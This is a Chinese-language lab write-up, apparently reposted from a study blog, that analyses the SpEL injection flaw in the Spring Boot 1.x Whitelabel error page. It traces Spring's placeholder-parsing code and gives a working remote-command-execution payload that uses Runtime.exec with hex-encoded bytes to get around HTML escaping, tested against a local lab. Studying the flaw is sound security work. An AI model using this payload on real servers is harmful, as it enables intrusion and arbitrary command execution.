SpringBoot 1.x SpEL表達式注入漏洞


前言:學習springboot系列的漏洞

參考文章:https://github.com/LandGrey/SpringBootVulExploit

什么是SpEL表達式

Spring Expression Language(簡稱 SpEL)是一種功能強大的表達式語言、用於在運行時查詢和操作對象圖;語法上類似於 Unified EL,但提供了更多的特性,特別是方法調用和基本字符串模板函數。SpEL 的誕生是為了給 Spring 社區提供一種能夠與 Spring 生態系統所有產品無縫對接,能提供一站式支持的表達式語言。

最常見的就是在配置數據源的那塊,為了統一管理,一般都是將賬號密碼等信息都一起寫到 xxx.properties 中,然后通過注入 PropertyPlaceholderConfigurerResolver 來實現spel表達式的執行,這樣就能將 xxx.properties 中的資源信息(也就是賬號密碼)直接引入到數據源中。

漏洞介紹和環境搭建

影響版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0

利用條件:

1、spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
2、至少知道一個觸發 springboot 默認錯誤頁面的接口及參數名

搭建的環境:https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

用idea打開之后配置下SpringBoot啟動項就可以直接跑了

訪問: http://localhost:9091/ ,如下圖所示就說明搭建成功了

漏洞復現

訪問:http://localhost:9091/article?id=${7*7} ,可以發現${7*7}的SpEL表達式被進行了解析,隨后將該表達式的運行的結果進行了返回,如下圖所示

# coding: utf-8

result = ""
target = 'calc' # 自己這里是windows環境,所以測試命令用的是calc
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))

${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

訪問: http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))} ,可以發現命令成功執行了

漏洞分析

漏洞存在點:/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java

這是一個自動配置類,既然是SpEL漏洞,那么這個配置類中進行是進行了相關的表達式解析才導致的。

這里就直接在控制器中進行下斷點來跟,也就是如下的地方

mv = ha.handle(processedRequest, response, mappedHandler.getHandler()); ,方法中處理了相關的HTTP請求,相關的控制器方法執行和觸發的異常都是在這里面執行的

因為這里會處理異常,所以最終返回給mv變量的是error視圖

到目前modeView對象已經拿到了,該對象中包含了這里HTTP請求處理的處理和相關值,然后將這個作為參數調用processDispatchResult,讓該方法來進行渲染

在processDispatchResult方法中就會進行渲染,其中實現渲染的方法名就是render

用的是什么解析器來進行渲染呢?SpELPlaceholderResolver對象

渲染的模板就是默認的Whitelabel Error Page 模板,其中就四個標簽有進行相關SpEL表達式的操作的,分別是 ${timestamp} ${error} ${status} ${message}

				"<html><body><h1>Whitelabel Error Page</h1>"
						+ "<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>"
						+ "<div id='created'>${timestamp}</div>"
						+ "<div>There was an unexpected error (type=${error}, status=${status}).</div>"
						+ "<div>${message}</div></body></html>");

這里重點就是分析 String result = this.helper.replacePlaceholders(this.template, this.resolver); ,繼續跟進去看,可以看到調用的是replacePlaceholders方法

	public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
		Assert.notNull(value, "'value' must not be null");
		return parseStringValue(value, placeholderResolver, new HashSet<String>());
	}

接着繼續來到parseStringValue(PropertyPlaceholderHelper.java)

接着就是一塊邏輯處理的代碼,這里不放圖,我直接打字來描述即可

	protected String parseStringValue(
			String strVal, PlaceholderResolver placeholderResolver, Set<String> visitedPlaceholders) {

		StringBuilder result = new StringBuilder(strVal);

		int startIndex = strVal.indexOf(this.placeholderPrefix);
		while (startIndex != -1) {
			int endIndex = findPlaceholderEndIndex(result, startIndex);
			if (endIndex != -1) {
				String placeholder = result.substring(startIndex + this.placeholderPrefix.length(), endIndex);
				String originalPlaceholder = placeholder;
				if (!visitedPlaceholders.add(originalPlaceholder)) {
					throw new IllegalArgumentException(
							"Circular placeholder reference '" + originalPlaceholder + "' in property definitions");
				}
				// Recursive invocation, parsing placeholders contained in the placeholder key.
				placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders);
				// Now obtain the value for the fully resolved key...
				String propVal = placeholderResolver.resolvePlaceholder(placeholder);
                                ···
				if (propVal != null) {
					// Recursive invocation, parsing placeholders contained in the
					// previously resolved placeholder value.
					propVal = parseStringValue(propVal, placeholderResolver, visitedPlaceholders);
					result.replace(startIndex, endIndex + this.placeholderSuffix.length(), propVal);
					if (logger.isTraceEnabled()) {
						logger.trace("Resolved placeholder '" + placeholder + "'");
					}
					startIndex = result.indexOf(this.placeholderPrefix, startIndex + propVal.length());
				}
				else if (this.ignoreUnresolvablePlaceholders) {
					// Proceed with unprocessed value.
					startIndex = result.indexOf(this.placeholderPrefix, endIndex + this.placeholderSuffix.length());
				}
                                ···
				visitedPlaceholders.remove(originalPlaceholder);
			}
			else {
				startIndex = -1;
			}
		}

		return result.toString();
	}

1、StringBuilder result = new StringBuilder(strVal); 將要渲染的模板存儲到一塊StringBuilder對象中

2、接着下面的while循環就是來尋找 this.placeholderPrefix開頭並且以this.placeholderSuffix 結尾的字符串,並且將其中的字符串名稱取出

3、這時候就來到了 placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders); ,它會將 上面取出來的字符串作為placeholder變量進行傳輸,通過placeholderResolver解析器來進行解析,而且這個方法還是遞歸的方法,因為上面一開始取出的字符串中還帶有${ }這種,還會遞歸進行parseStringValue解析,直到不存在${}為止

4、String propVal = placeholderResolver.resolvePlaceholder(placeholder);,接着就是調用這個方法,這個方法才是真正的主角,因為進行字符串填充的都是通過這個方法

resolvePlaceholder這個方法跟進去,可以發現會通過SpelExpressionParser對象的parseExpression方法來對傳入的字符串進行保存,最后返回一個expression的對象

5、Object value = expression.getValue(this.context); 接着其中繼續通過返回來的expression對象來獲取其中的值,根據該值來判斷返回對應的對象,這里傳入的是timestamp,通過getValue方法之后返回出來的是一個Date格式的字符串

6、還會對這個返回的字符串進行HTML編碼處理

return HtmlUtils.htmlEscape(value == null ? null : value.toString());

7、最后進行替換處理,將其解析出來的字符串和對應的${}進行替換

整個解析過程就是這樣,那么這里可以知道的就是對於${}字符串的解析是通過SpEL表達式進行解析的,那么SpEL表達式是否可以進行利用?這里還需要了解下相關的SpEL表達式的運用

SpEL表達式的使用

參考文章:http://rui0.cn/archives/1043

這里講兩種用法,其他用法可以參考文章即可

parser.parseExpression("'hello world'");

這里輸入的'hello world' 是需要加上單引號的,加上單引號的作用是讓SpEL以字符串類型來進行解析

public class CodeTest {
    public static void main(String[] args) {
        //創建ExpressionParser解析表達式
        ExpressionParser parser = new SpelExpressionParser();
        //SpEL表達式語法設置在parseExpression()入參內
        Expression exp = parser.parseExpression("'hello world'");
        //執行SpEL表達式,執行的默認Spring容器是Spring本身的容器:ApplicationContext
        Object value = exp.getValue();
        System.out.println(value);
    }
}

第二種T(Type): 使用"T(Type)"來表示java.lang.Class類的實例,即如同java代碼中直接寫類名。同樣,只有java.lang 下的類才可以省略包名。此方法一般用來引用常量或靜態方法

Expression exp = parser.parseExpression("T(java.lang.Math)");,可以發現解析出來的是一個math的class對象

Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");,那么這樣就可以直接執行命名了

同樣試試用這個表達式注入到相關存在漏洞的環境,訪問 http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(%27calc%27)} ,發現應用直接報錯了

重新調試,跟進去看下,可以發現原來是被HTML編碼處理了,最后返回的字符串存在&

T(java.lang.Runtime).getRuntime().exec('calc') ,那么單引號或者雙引號就無法使用,但是這里可以通過String類型來進行替換,用十六進制來表達'calc'字符串 {0x63,0x61,0x6c,0x63}

那么最后的payload就是 ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM